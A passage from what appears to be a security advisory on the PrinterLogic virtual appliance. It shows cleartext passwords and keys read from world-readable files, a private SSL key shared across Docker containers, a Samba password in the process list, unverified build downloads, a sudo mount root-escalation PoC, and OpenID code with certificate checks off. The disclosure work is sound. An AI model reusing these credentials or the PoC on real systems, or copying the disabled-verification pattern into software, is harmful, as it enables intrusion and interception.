<font color=red>-rwxrwxr-x</font> 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env
root@printerlogic:~# cat /etc/printercloud/appliance.env
[...]
# Anything below this line has been added via script/automation
VA_VERSION="1.0.730"
<font color=red>MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839"
APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx"
APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"</font>
[...]
root@printerlogic:~#
</pre>

<p><code>/etc/printercloud/previous-db-password.txt</code> with insecure permissions:</p>
<pre>
root@printerlogic:~# ls -la /etc/printercloud/previous-db-password.txt
<font color=red>-rw-rw-r--</font> 1 ubuntu docker 44 Feb  8 01:51 /etc/printercloud/previous-db-password.txt
root@printerlogic:~# cat /etc/printercloud/previous-db-password.txt
<font color=red>PREVIOUS_DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"</font>
root@printerlogic:~#
</pre>

<p><code>/etc/printercloud/secrets.configuring.bak</code> with insecure permissions:</p>
<pre>
root@printerlogic:~# ls -la /etc/printercloud/secrets.configuring.bak
<font color=red>-rwxr-xr-x</font> 1 root root 3519 Jan 27 09:36 /etc/printercloud/secrets.configuring.bak
root@printerlogic:~# cat /etc/printercloud/secrets.configuring.bak
DB_DATABASE="app_pi"
<font color=red>DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
DB_PORT="3306"
DB_USERNAME="admin"
PRINTERCLOUD_DOMAIN="10.105.0.241"
SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"</font>
</pre>

<p><code>/var/www/efs_storage/secrets.env</code> with insecure permissions:</p>
<pre>
root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/secrets.env
<font color=red>-rwxrwsr-x+</font> 1 root docker 3519 Jan 27 09:36 /var/www/efs_storage/secrets.env
root@printerlogic:/var/www/efs_storage# cat secrets.env
DB_DATABASE="app_pi"
<font color=red>DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
DB_PORT="3306"
DB_USERNAME="admin"
PRINTERCLOUD_DOMAIN="10.105.0.241"
SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"</font>
</pre>

<p>It is also possible to decrypt the gpg-encrypted files found in <code>/var/www/efs_storage/.secrets</code> using the private key that was extracted before:</p>
<pre>
root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/
total 16
drwxrwsr-x+  2 ubuntu   docker 4096 Feb  8 06:38 .
drwxrwsr-x+ 19 www-data docker 4096 Feb  2 08:15 ..
<font color=red>-rw-rw-r--+</font>  1 ubuntu   docker  704 Jan 27 09:36 app-keys.gpg
<font color=red>-rw-rw-r--+</font>  1 ubuntu   docker  660 Feb  7 08:59 portainer-admin.gpg
root@printerlogic:~# cd /var/www/efs_storage/.secrets
root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys
<font color=red>APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"</font>
root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
<font color=red>PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae"</font>
root@printerlogic:/var/www/efs_storage/.secrets#
</pre>

<p><code>/var/lib/docker/swarm/worker/tasks.db</code> with insecure permissions:</p>
<pre>
root@printerlogic:/var/lib/docker/swarm/worker# ls -la /var/lib/docker/swarm/worker/tasks.db
<font color=red>-rw-r--r--</font> 1 root root 2097152 Feb  9 03:37 /var/lib/docker/swarm/worker/tasks.db
root@printerlogic:/var/lib/docker/swarm/worker# strings /var/lib/docker/swarm/worker/tasks.db | grep -i pass
<font color=red>MYSQL_DATABASE=app_pi*#MYSQL_PASSWORD=BBlIL1X1ARvyrnA3FBpt*8MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3*
9mysqladmin -uadmin --password='BBlIL1X1ARvyrnA3FBpt'</font>
[...]
</pre>

<p>The directory <code>/var/lib/docker/swarm</code> is <code>700</code> so the exposure of the <code>tasks.db</code> file is limited.    </p>
<p>An attacker with access to the main filesystem can compromise the solution.</p>
<p>An attacker with access to a Docker instance that mounts <code>/var/www/efs_storage</code> can compromise the solution.</p>
<p>The provided list is not exhaustive; it is advised to review the solution to find more files containing passwords in clear-text.</p>
<p><a id="va-hardcoded-ssl-private-key"></a></p>
<h2>Details - Hardcoded SSL certificate / Private keys</h2>
<p>Some Docker instances contain a hardcoded private key for the SSL certificate of <code>pl-local.com</code>.</p>
<p>Docker instances containing <code>/etc/ssl/private/pl-local.com.key</code> and <code>/etc/ssl/certs/pl-local.com.pem</code>:</p>
<pre><code>root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i); docker exec -it $i sha256sum /etc/ssl/private/pl-local.com.key /etc/ssl/certs/pl-local.com.pem;done
b836228df432 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.zbh6pg52gjaa9gn5xqtc7taj5
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
05e23b975354 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.qimjcm6p2ky6r5cmoytg7buw2
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
5b81f67f8921 printerlogic/scim:1.0.9 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.kstnz1b2i6h2bqs69azk50l3r
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
0b6c0bc767aa printerlogic/pq:5.0.124 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.rnyjdcu5oxkto8tib6s4esxu7
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
7f52a38a45d1 printerlogic/sched:1.0.18 "/var/www/app/.dock" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.jn23ywopn7apb9qcplrpe1xcc
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
cbb00388efa6 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.mw9bfqfog2hm26wk527b5zfls
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
7efd81083d4e printerlogic/gw:1.208.5 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.c68jpas58ra6qv56mrgavwrab
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
02c86f8d174e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.3tkj8z26r2jiz5jmmt7wsxzs0
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
375459c3f176 printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 6 hours ago Up 6 hours 80/tcp printercloud-appliance_va-cdn.1.xokrstwpp8o7ykgcpwcdldjue
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
b141c9f47ae2 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.4zg2dyrl36sdhnnt9wdiahfb4
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
1671f7750d2a mysql:8.0.26 "docker-entrypoint.s" 6 hours ago Up 6 hours (healthy) 3306/tcp, 33060/tcp storage_mysql.1.5chx6h1st15x31gc5wpollzii
out2093911dc1a1 printerlogic/scd:1.0.70 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.ppbu3zen3nxc4a9mbibocypb6
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
a058dddcdc76 printerlogic/authn:1.0.257 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.6nguqh8gx3n1zqromg63zbjhd
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
4b14b2d3e5f4 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.o5dzhxx4rwq0qkx52ulm198a9
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
ccd58c6422ae printerlogic/tree:1.0.57 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.vbe3pg3zk3db1yytu3q109ejh
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
472cd50c71e3 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.q4rk166ph4at73tk0xhcj48ko
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
7276af63e9db printerlogic/idpi:1.0.6 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.c3xqu7i4zfzk5sm3h0kxtxq2e
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
0a4c92b1e67e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.qmf6gz6cjonf89mg1ppl2xxjk
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
e43ae54c74d1 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.9zjdza3fe2gfy10perdw7k8sx
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  /etc/ssl/certs/pl-local.com.pem
</code></pre>
<p>Analysis of the certificate:</p>
<pre><code>kali% openssl x509 -in pl-local.com.pem -text -noout

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            8f:9c:26:3f:6b:08:96:bf
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = US, ST = UT, L = St George, O = PrinterLogic, OU = Engineering, CN = PrinterLogic, emailAddress = noreply@printerlogic.com
        Validity
            Not Before: Nov 19 21:58:11 2018 GMT
            Not After : Jun 13 21:58:11 2117 GMT
        Subject: C = US, ST = UT, L = St George, O = PrinterLogic, OU = Engineering, CN = PrinterLogic, emailAddress = no-reply@printerlogic.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c6:ef:0f:cb:da:41:de:79:51:16:3f:25:6c:bb:
                    98:3c:98:e1:e8:1f:04:96:e9:8f:d2:e9:95:8a:fe:
                    c7:a8:41:22:e6:a2:5b:50:77:d2:c3:07:e6:de:1e:
                    09:e2:b6:21:af:43:21:d8:03:5c:2d:70:6c:89:8f:
                    fc:1b:3a:5e:10:f4:22:2e:74:12:64:4f:57:48:9c:
                    55:2b:f8:88:75:9b:90:57:78:57:fd:72:11:4f:1a:
                    44:4f:1b:29:ae:b2:f9:64:e6:ec:e1:af:a9:e6:5e:
                    61:f4:5b:f6:24:92:47:ab:5f:f0:06:a0:25:43:36:
                    e8:2d:2e:f0:d1:6f:96:b1:e8:b5:75:e0:8c:2d:99:
                    ea:03:8d:91:82:f3:75:91:ef:5f:8d:7d:70:e9:3d:
                    e2:96:79:e8:19:22:f4:80:45:e6:48:b3:e8:48:e9:
                    33:68:c3:6e:dc:fd:99:c0:96:38:92:a5:05:31:dd:
                    a6:ef:3c:0f:9c:34:86:42:ed:ec:ea:08:35:dd:61:
                    20:a7:90:a8:da:fe:07:5b:77:10:29:ff:4f:9c:20:
                    9a:3a:ac:c7:83:e2:42:22:84:45:de:ba:89:2a:66:
                    c9:8f:1a:59:19:cc:4b:3e:5d:5d:62:ba:9a:1a:91:
                    53:55:ef:ff:f3:ec:9f:4a:28:c5:e7:be:c6:e4:bf:
                    94:bf
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Authority Key Identifier: 
                keyid:75:FB:82:08:93:6B:E3:28:E7:FD:49:45:63:4B:DA:96:55:65:35:58

            X509v3 Basic Constraints: 
                CA:FALSE
            X509v3 Key Usage: 
                Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
            X509v3 Subject Alternative Name: 
                DNS:*.pl-local.com
    Signature Algorithm: sha256WithRSAEncryption
         3c:94:ec:2e:cd:b2:0a:85:ab:ee:af:6c:73:ce:52:ed:f4:ea:
         89:17:ca:ce:db:99:84:a1:69:47:03:9e:aa:df:78:ca:b9:dc:
         09:39:2b:cc:3b:c4:ad:81:3d:9d:fb:4d:99:e8:c2:b8:95:99:
         b1:7a:8b:10:00:1c:d3:67:23:f6:47:d9:50:30:c7:4a:ff:6a:
         c1:9e:4e:45:7c:1a:aa:e4:05:24:e2:44:6d:56:43:97:99:61:
         13:a6:b8:4a:b9:c4:76:0f:5b:89:fe:17:f7:8e:82:ee:61:a4:
         23:10:53:e6:67:38:0f:af:dc:33:4e:a5:98:36:e0:16:01:a3:
         3c:e4:71:e5:f7:73:b2:16:22:0d:de:fa:47:a7:72:e2:08:ad:
         b9:66:7c:70:e5:93:39:f2:f3:7e:2e:03:5b:88:b3:cf:db:0d:
         45:2a:1e:28:ba:73:c8:51:b2:5b:a5:05:02:0d:68:59:22:5b:
         e5:6b:23:09:65:82:8a:9e:9a:15:3a:78:e3:22:d8:42:93:83:
         c1:c2:c9:47:10:fc:78:3f:c4:1e:e5:d9:d0:12:1e:e7:c9:01:
         d1:4e:b7:45:0f:ae:0f:84:c4:af:2d:a7:91:d5:99:1d:d7:1e:
         c2:e1:f1:14:6a:03:d4:06:4b:92:ca:9a:e7:68:c9:96:38:2b:
         62:4c:cc:ea
kali%
</code></pre>
<p>An attacker may use this certificate for MITM purposes.</p>
<p><a id="va-disclosure-samba-password"></a></p>
<h2>Details - Samba password available in the process list</h2>
<p>It was observed that the samba password is available in the process list:</p>
<pre>
root@printerlogic:~# ps -auxw | grep admin
root      1262  0.0  0.0  14440  1024 pts/3    S+   08:51   0:00 grep --color=auto admin
root      4066  0.0  0.0    780     0 ?        Ss   01:51   0:01 /sbin/tini -- /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin
-u admin;<font color=red>4rd7AqdBvj7ZdGKrvQ9Z</font> -g server signing = mandatory
root      4798  0.0  0.0   2208    56 ?        S    01:51   0:00 bash /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin
-u admin;<font color=red>4rd7AqdBvj7ZdGKrvQ9Z</font> -g server signing = mandatory
root@printerlogic:~#
</pre>

<p>The password is used for the configuration of the <code>dperson/samba</code> Docker instance:</p>
<pre><code>root@printerlogic:~# docker ps | grep 34c81cb53b33
34c81cb53b33        dperson/samba:latest             "/sbin/tini -- /opt/"   7 hours ago         Up 7 hours (healthy)   139/tcp, 137-138/udp, 445/tcp    config_samba.1.0bb6swjcmo97cnlf0rak8l8h3
root@printerlogic:~# docker exec -it 34c81cb53b33 /bin/bash
bash-5.0# ps -a
PID   USER     TIME  COMMAND
    1 root      0:01 /sbin/tini -- /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z 
    7 root      0:00 bash /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server
   11 root      0:00 smbd -FS --no-process-group
   58 root      0:00 {smbd-notifyd} smbd -FS --no-process-group
   59 root      0:00 {cleanupd} smbd -FS --no-process-group
 3219 root      0:00 /bin/bash
 3225 root      0:00 ps -a
bash-5.0#
</code></pre>
<p>An attacker who can list processes in the machine can retrieve this password in clear-text and proceed to lateral movements.</p>
<p><a id="va-supply-chain-build-system"></a></p>
<h2>Details - Supply Chain attack against the PrinterLogic build system</h2>
<p>The solution contains build scripts:</p>
<p>Content of <code>/opt/version.env</code>:</p>
<pre><code>kali# cat /opt/version.env 
export VERSION=0.0
export FULL_VERSION=0.0.1374
export SERVICE_CODE=cicd
</code></pre>
<p>The scripts are using insecure communication methods and using external Docker images.</p>
<p>The <code>/opt/docker-compose.yaml</code> file  will use <code>https://hub.docker.com/r/vladgh/gpg</code> without checking whether the image is malicious or not. Furthermore, it will store the private GPG of no-reply+virtual-appliance@printerlogic.com:</p>
<p>Content of <code>/opt/docker-compose.yaml</code>:</p>
<pre>
  1 version: '3.7'
  2 
  3 x-volumes:
  4   - &v-code ./:/opt
  5   - &v-etc ./.docker-config/storage/etc:/etc/printercloud
  6   - &v-storage ./.docker-config/storage/efs:/var/www/efs_storage
  7   - &v-install ./.docker-config/storage/install:/install
  8   - &v-aws ~/.aws:/home/ubuntu/.aws
 68   # ci-import-gpg is used in the bitbucket pipeline for importing GPG keys into the image
 69   ci-import-gpg:
<font color=red> 70     image: vladgh/gpg:latest</font>
 71     volumes:
 72       - ./.build/keys:/srv/.gpg
 73       - ./.build/.gnupg:/root/.gnupg
 74     entrypoint: /bin/sh
 75     command: |
 76       -euxc "
 77         ls -la /srv/.gpg
 78         for sec in /srv/.gpg/*/*sec.gpg.gpg; do
 79           gpg --decrypt --pinentry-mode loopback --passphrase \"${BUILD_GPG_KEY_SECRET}\" \"$${sec}\" | gpg --import --yes --pinentry-mode loopback --passp    hrase \"${GPG_SIGNING_PASSWORD}\";
 80         done
 81         for pub in /srv/.gpg/*/*pub.gpg; do
 82           gpg --import --yes --no-tty \"$${pub}\"
 83         done
 84         echo -e \"trust\n5\ny\n\" | gpg --command-fd 0 --no-tty --edit-key '<no-reply+virtual-appliance@printerlogic.com>'
 85         gpg --list-keys
 86       "
</pre>

<p>The <code>/opt/includes/provision/va-build-node.sh</code> script will fetch the Virtualbox extensions over HTTP and install them as root without checking the signatures of these files. An attacker located on the network can get Remote Code Execution.</p>
<p>Content of <code>/opt/includes/provision/va-build-node.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">67</span> <span style="color: #408080; font-style: italic"># Install vbox extensions</span>
 <span style="color: #666666">68</span> <span style="color: #19177C">VBOXVERSION</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>VBoxManage --version | sed -r <span style="color: #BA2121">&#39;s/([0-9])\.([0-9])\.([0-9]{1,2}).*/\1.\2.\3/&#39;</span><span style="color: #008000; font-weight: bold">)</span>
 <span style="color: #666666">69</span> wget -q -N <span style="color: #BA2121">&quot;http://download.virtualbox.org/virtualbox/</span><span style="color: #19177C">$VBOXVERSION</span><span style="color: #BA2121">/Oracle_VM_VirtualBox_Extension_Pack-</span><span style="color: #19177C">$VBOXVERSION</span><span style="color: #BA2121">.vbox-extpack&quot;</span>
 <span style="color: #666666">70</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;y&quot;</span> | sudo VBoxManage extpack install --replace Oracle*.vbox-extpack
</pre></div>

<p>There is also a Local Privilege Escalation for the Jenkins user on the build machine, allowing mounting any directory (e.g. /etc) or file and getting root access.</p>
<p>Content of <code>/opt/includes/provision/va-build-node.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">13</span> <span style="color: #408080; font-style: italic"># Whitelist the jenkins user to run mount or umount as sudo</span>
 <span style="color: #666666">14</span> <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Installing jenkins sudo permissions for mount/umount&quot;</span>
 <span style="color: #666666">15</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #008000; font-weight: bold">$(</span>sudo grep <span style="color: #BA2121">&quot;^jenkins &quot;</span> /etc/sudoers | grep <span style="color: #BA2121">&quot;/bin/mount,/bin/umount&quot;</span> | wc -l<span style="color: #008000; font-weight: bold">)</span> -lt <span style="color: #666666">1</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">16</span>   <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;# Allow jenkins to mount/umount directories (used for mounting the matrix cache)&quot;</span> | sudo tee -a /etc/sudoers
 <span style="color: #666666">17</span>   <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;jenkins    ALL=(ALL)    NOPASSWD: /bin/mount,/bin/umount&quot;</span> | sudo tee -a /etc/sudoers
 <span style="color: #666666">18</span> <span style="color: #008000; font-weight: bold">fi</span>
</pre></div>

<p>PoC to get root privileges from the jenkins user:</p>
<pre><code>$ sudo mount -o bind /bin/sh /bin/mount
$ sudo mount
# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
<p>The security of the build system of PrinterLogic relies on the DockerHub account <code>vladg</code>. This account doesn't belong to PrinterLogic.</p>
<p>The transfer of Virtualbox extension pack is done over HTTP without verification, and an attacker doing MITM can compromise the build system.</p>
<p>The Jenkins account on the build system has root access because of permissive sudo rules.</p>
<p><a id="va-vulnerable-openid"></a></p>
<h2>Details - Vulnerable OpenID implementation</h2>
<p>The OpenID implementation at <code>/var/www/app/lib/common/lightopenid/openid.php</code> is completely outdated, with a version from 2010, and is also vulnerable to Man-In-The-Middle attacks:</p>
<p>Content of <code>/var/www/app/lib/common/lightopenid/openid.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">  3  * This class provides a simple interface for OpenID (1.1 and 2.0) authentication.</span>
<span style="color: #BA2121; font-style: italic">  4  * Supports Yadis discovery.</span>
<span style="color: #BA2121; font-style: italic">  5  * The authentication process is stateless/dumb.</span>
<span style="color: #BA2121; font-style: italic">  6  *</span>
<span style="color: #BA2121; font-style: italic">[...]</span>
<span style="color: #BA2121; font-style: italic"> 42  * The library depends on curl, and requires PHP 5.</span>
<span style="color: #BA2121; font-style: italic"> 43  * @author Mewp</span>
<span style="color: #BA2121; font-style: italic"> 44  * @copyright Copyright (c) 2010, Mewp</span>
<span style="color: #BA2121; font-style: italic"> 45  * @license http://www.opensource.org/licenses/mit-license.php MIT</span>
<span style="color: #BA2121; font-style: italic"> 46  */</span>
 <span style="color: #666666">47</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">LightOpenID</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">118</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">request</span>(<span style="color: #19177C">$url</span>, <span style="color: #19177C">$method</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;GET&#39;</span>, <span style="color: #19177C">$params</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">array</span>())
<span style="color: #666666">119</span>     {
<span style="color: #666666">120</span>         <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #008000">http_build_query</span>(<span style="color: #19177C">$params</span>, <span style="color: #BA2121">&#39;&#39;</span>, <span style="color: #BA2121">&#39;&amp;&#39;</span>);
<span style="color: #666666">121</span>         <span style="color: #19177C">$curl</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>(<span style="color: #19177C">$url</span> <span style="color: #666666">.</span> (<span style="color: #19177C">$method</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;GET&#39;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #19177C">$params</span> <span style="color: #666666">?</span> <span style="color: #BA2121">&#39;?&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$params</span> <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>));
<span style="color: #666666">122</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$curl</span>, CURLOPT_FOLLOWLOCATION, <span style="color: #008000; font-weight: bold">true</span>);
<span style="color: #666666">123</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$curl</span>, CURLOPT_HEADER, <span style="color: #008000; font-weight: bold">false</span>);
<span style="color: #666666">124</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$curl</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>); <span style="color: #408080; font-style: italic">// [1] ouch</span>
<span style="color: #666666">125</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$curl</span>, CURLOPT_RETURNTRANSFER, <span style="color: #008000; font-weight: bold">true</span>);
<span style="color: #666666">126</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$method</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;POST&#39;</span>) {
</pre></div>

<p>The verification of the SSL certificate is disabled on line 124.</p>
<p>From the Curl documentation, available at <a href="https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html">https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html</a>:</p>
<blockquote>
